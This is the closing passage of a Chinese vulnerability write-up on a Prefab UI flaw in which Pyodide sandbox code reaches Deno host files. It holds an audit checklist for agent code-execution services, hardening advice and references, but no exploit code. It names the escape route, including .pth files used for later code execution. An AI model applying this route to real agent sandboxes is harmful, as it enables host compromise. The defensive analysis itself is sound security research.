Prefab UI 的问题发生在 Pyodide 和 Deno 的组合环境中,但类似的权限关系也可能出现在其他嵌入式执行器或 Agent 工具系统中。

实际审计时,可以先从执行链入手,而不是只检查模型输出内容。

对于允许 Agent 运行代码的服务,需要确认:

  1. 模型生成的代码最终由哪个运行时执行;

  2. 运行时是否创建独立的操作系统进程;

  3. 子进程拥有哪些文件、网络和命令执行权限;

  4. 不可信代码是否能够调用宿主 API;

  5. 初始化阶段授予的权限是否会保留到任务执行阶段;

  6. 运行时是否支持重新申请已经撤销的权限;

  7. 进程实际的 UID、GID、挂载和外部隔离是否进一步约束资源访问。

针对本次 Prefab UI 漏洞,源码审计的重点集中在三个位置。

检查位置

关注内容

GenerativeUI

外部代码如何进入工具执行链

_pyodide.py

Deno 子进程的启动权限

runner.js

Pyodide 执行逻辑及权限撤销时机

对于类似的 Agent 系统,也可以沿着这一思路继续检查 JavaScript、Python、WASM Host Functions、原生扩展及 RPC 文件代理之间的权限传递关系。

在企业部署中,除了修复组件本身,还应限制执行器所在系统账户能够访问的宿主资源。

尤其需要避免将生产凭据、可执行程序加载目录以及敏感业务数据与不可信代码执行器置于相同的可写权限范围内。

对于暂时无法升级到修复版本的服务,最直接的风险控制方式是停止向不可信调用方开放对应的 Generative UI 代码执行工具。

八、结语

本文通过漏洞复现和源码分析,还原了 Pyodide 沙箱访问 Deno 宿主文件的过程,也验证了利用 .pth 文件实现后续代码执行的可能性。整个过程也说明,使用沙箱并不代表一定安全,外层运行时的权限同样重要。

文中的实验代码师傅们可以自行复现,其他宿主能力还有待进一步研究,也欢迎大家分享新的思路,一起交流学习!

九、参考资料

  1. JFrog Security Research. Prefab UI is vulnerable to Remote Code Execution via a Pyodide JS Bridge to Deno. CVE-2026-120338,2026-11-01。
    https://research.jfrog.com/vulnerabilities/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno-cve-2026-120338-jfsa-2026-001699278/

  2. Prefab UI 0.20.2 — PyodideSandbox.
    https://github.com/PrefectHQ/prefab/blob/v0.20.2/src/prefab_ui/sandbox/_pyodide.py

  3. Prefab UI 0.20.2 — runner.js.
    https://github.com/PrefectHQ/prefab/blob/v0.20.2/src/prefab_ui/sandbox/runner.js

  4. Prefab UI 0.20.2 — Generative UI.
    https://github.com/PrefectHQ/prefab/blob/v0.20.2/src/prefab_ui/generative.py

  5. Prefab UI 0.20.2 — Sandbox Module.
    https://github.com/PrefectHQ/prefab/blob/v0.20.2/src/prefab_ui/sandbox/init.py

  6. FastMCP — GenerativeUI Provider.
    https://github.com/PrefectHQ/fastmcp/blob/main/fastmcp_slim/fastmcp/apps/generative.py

  7. Prefab UI — Pull Request #538. Refresh dependencies and fix renderer and sandbox regressions.
    https://github.com/PrefectHQ/prefab/pull/538

  8. Prefab UI 0.21.0 — runner.js.
    https://github.com/PrefectHQ/prefab/blob/v0.21.0/src/prefab_ui/sandbox/runner.js

  9. Prefab UI 0.21.0 — PyodideSandbox.
    https://github.com/PrefectHQ/prefab/blob/v0.21.0/src/prefab_ui/sandbox/_pyodide.py

  10. Deno Documentation. Security and Permissions.
    https://docs.deno.com/runtime/fundamentals/security/

  11. Pyodide Documentation. Python and JavaScript interoperability.
    https://pyodide.org/en/stable/usage/type-conversions.html

  12. GitHub Security Advisory. GHSA-595q-jv4r-q7j9.
    https://github.com/PrefectHQ/prefab/security/advisories/GHSA-595q-jv4r-q7j9